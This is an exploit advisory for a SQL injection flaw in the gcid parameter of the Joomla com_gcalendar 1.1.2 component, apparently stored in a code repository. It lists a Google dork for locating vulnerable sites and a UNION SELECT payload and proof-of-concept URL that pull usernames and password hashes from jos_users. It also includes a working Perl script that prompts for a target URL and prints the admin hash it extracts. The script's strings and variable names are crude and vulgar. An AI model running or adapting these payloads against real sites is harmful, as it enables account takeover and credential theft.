-
Notifications
You must be signed in to change notification settings - Fork 16
/
Copy path10020.txt
83 lines (64 loc) · 3.11 KB
/
10020.txt
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
Joomla Component com_gcalendar 1.1.2 (gcid) Remote SQL Injection Vulnerability
==============================================================================
Remote SQL Injection were identified in Google Calendar Joomla Component
Application: Google Calendar Component
Versions Affected: v1.1.2 old versions may also be affected
Download: http://extensions.joomla.org/extensions/calendars-a-events/calendars/4188
License: GPL
Vulnerable: Remote SQL Injection
Google Dork: inurl:"com_gcalendar"
Description
***********
Google Calendar is a component that will allow you to embed Google Calendars on your Joomla 1.5 site with ease!
You'll be amazed at the flexibility allowed and the degree of customization.
Details
*******
[!] SQL Injection
attacks are another instantiation of injection attack,
Exploit
*******
-9999+union+select+0,concat(username,0x3a,password),2,3,4+from+jos_users--
Proof of Concept
****************
http://server/index.php?option=com_gcalendar&view=event&eventID=peler&start=memek&end=kentu&gcid=2+AND+1=2+UNION+SELECT+0,concat(username,0x3a,password),2,3,4+from+jos_users--
-------------------------------------------------------------------------
#!/usr/bin/perl -w
#Joomla com_gcalendar (gcid) Sql injection
#Coded by v3n0m
#Gre4tz: All Yogyacarderlink Crew
#Special Gre4tz: Google
print "|----------------------------------------------------|\n";
print "| YOGYACARDERLINK 'com_gcalendar Remote Injector' |\n";
print "| Coded by : v3n0m |\n";
print "| Greetz : LeQhi (bug founder) |\n";
print "| sHoutz : Yogyacarderlink Crew |\n";
print "| |\n";
print "| -v3n0m & lingah paling ganteng se-jogjakarta- |\n";
print "| |\n";
print "| www.yogyacarderlink.web.id |\n";
print "|----------------------------------------------------|\n";
use LWP::UserAgent;
print "\nMasukin Target:[http://wwww.target.com/path/]: ";
chomp(my $target=<STDIN>);
#Nama Column
$kontol="group_concat(username,0x3a,password)";
#Nama Table
$memek="jos_users";
$ngentot="-9999+union+select+";
$b = LWP::UserAgent->new() or die "Could not initialize browser\n";
$b->agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');
$host = $target . "index.php?option=com_gcalendar&view=event&eventID=peler&start=memek&end=kentu&gcid=".$ngentot."0,".$kontol.",2,3,4+from/**/".$memek."+--+";
$res = $b->request(HTTP::Request->new(GET=>$host));
$answer = $res->content; if ($answer =~/([0-9a-fA-F]{32})/){
print "\n[+] Admin Hash : $1\n\n";
print "Sukses coy !! Wah selamat yee bro...\n";
print "Coba langsung dicheck ke TKP aja bro biar lebih yakin...\n";
print "\n";
print "Attention:\n";
print "v3n0m & lingah emang paling ganteng...\n";
print "Yang kaga setuju/protes = GAY !!\n";
print "\n";
}
else{print "\n[-] wah gagal bro (Belom Cebok tangan lo)...\n";
}
-------------------------------------------------------------------------